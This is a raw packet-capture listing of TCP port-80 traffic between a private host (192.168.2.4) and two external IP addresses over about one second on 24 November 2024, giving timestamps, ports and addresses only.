Nov 24, 2024 12:24:28.967696905 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.967974901 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.968024015 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.968024969 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.968066931 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.968717098 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.968775988 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.968791962 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.968827009 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.968843937 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.968873024 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.969598055 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.969646931 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.969712973 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.969861031 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.969877005 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.969902992 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.969916105 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.970439911 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.970488071 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.970554113 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.970942974 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.970988035 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.971031904 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.971077919 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.971255064 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.971308947 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.971441031 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.972043991 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.972110033 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.972125053 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.972155094 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.972168922 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.972174883 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.972980976 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.973110914 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.973154068 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.973189116 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.973206043 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.973249912 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.973766088 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.973817110 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.973908901 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.974324942 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.974371910 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.974376917 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.974580050 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.974623919 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.974723101 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.974764109 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.975352049 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.975467920 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.975483894 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.975500107 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.975517988 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.975543976 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.976269960 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.976320982 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.976349115 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.976494074 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.976632118 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.976685047 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.977130890 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.977349997 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.977401018 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.977597952 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.977722883 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.977777958 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.977961063 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.978013039 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.978038073 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.978652000 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.978699923 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.978791952 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.978807926 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.978837967 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.978857994 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.978858948 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.979602098 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.979655027 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.979687929 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.980385065 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.980659962 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.070027113 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.070127964 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.070182085 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.070389986 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.070542097 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.070588112 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.071243048 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.071433067 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.071479082 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.072078943 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.072197914 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.072246075 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.072906971 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.073066950 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.073107004 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.073760033 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.073853016 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.074584961 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.074630976 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.074783087 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.076802015 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.119882107 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.119967937 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.120132923 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.120323896 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.120524883 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.120579004 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.120621920 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.121653080 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.121700048 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.121745110 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.121789932 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.122776031 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.122901917 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.122903109 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.122941971 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.123852015 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.123924971 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.123966932 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.124010086 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.124958038 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.125062943 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.125112057 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.126092911 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.126290083 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.126338005 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.127167940 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.127213955 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.127399921 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.128266096 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.128310919 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.128355026 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.128499985 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.129353046 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.129467010 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.129513979 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.130486965 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.130625010 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.130672932 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.131594896 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.131638050 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.131711960 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.132719994 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.132770061 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.132849932 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.133786917 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.133837938 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.133982897 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.134923935 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.134973049 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.135018110 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.135060072 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.136024952 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.136152029 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.136189938 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.137207985 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.137259007 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.137303114 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.138221979 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.138263941 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.138340950 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.139324903 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.139365911 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.139395952 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.140424967 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.140449047 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.140461922 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.140542030 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.140580893 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.141537905 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.141581059 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.141632080 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.141671896 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.142632008 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.142673016 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.142769098 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.142807961 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.143773079 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.143816948 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.143862009 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.143928051 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.144845009 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.144969940 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.145020962 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.145970106 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.146150112 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.146205902 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.147099018 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.147170067 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.147213936 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.147788048 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.147841930 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.147885084 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.148164034 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.148216963 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.148217916 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.148220062 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.148233891 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.148278952 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.148308039 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.148343086 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.149066925 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.149230957 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.149281025 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.149327040 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.149342060 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.149380922 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.149864912 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.150427103 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.150571108 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.150624990 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.151498079 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.151685953 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.151737928 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.151879072 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.151921988 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.152096987 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.152369022 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.152416945 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.152503967 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.152597904 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.152615070 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.152658939 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.153162003 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.153295040 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.153342009 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.153696060 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.153742075 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.153785944 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.154028893 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.154077053 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.154078960 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.154082060 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.154834032 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.154881001 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.154907942 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.154925108 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.154946089 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.154980898 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.154992104 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.155663013 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.155781984 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.155864954 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.155901909 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.156009912 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.156056881 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.156491041 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.156613111 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.156665087 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.156991959 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.157042027 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.157109976 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.157316923 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.157367945 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.157368898 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.157474041 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.158133984 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.158185005 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.158190012 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.158201933 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.158219099 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.158230066 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.158255100 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.159010887 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.159106016 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.159178972 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.159203053 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.159248114 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.159404039 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.159890890 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.159943104 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.159944057 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.160041094 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.160314083 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.160360098 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.160424948 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.160465956 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.160654068 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.160798073 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.160846949 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.161457062 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.161519051 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.161534071 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.161570072 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.161586046 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.161604881 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.162364960 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.162476063 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.162524939 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.162565947 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.162580967 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.162648916 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.163213968 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.163264990 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.163352013 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.163659096 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.163712978 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.163759947 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.164005041 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.164053917 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.164077044 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.164077997 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.164763927 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.164815903 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.164845943 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.164861917 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.164906025 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.164906979 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.164931059 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.165658951 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.165713072 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.165749073 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.165887117 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.165903091 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.165945053 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.166604996 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.166620970 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.166661978 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.167010069 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.167052984 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.167097092 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.167327881 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.167375088 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.167376041 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.167418957 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.168071032 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.168122053 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.168176889 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.168191910 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.168210030 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.168219090 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.168243885 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.168988943 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.169106960 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.169158936 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.169174910 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.169190884 CET	80	49793	31.41.244.11	192.168.2.4
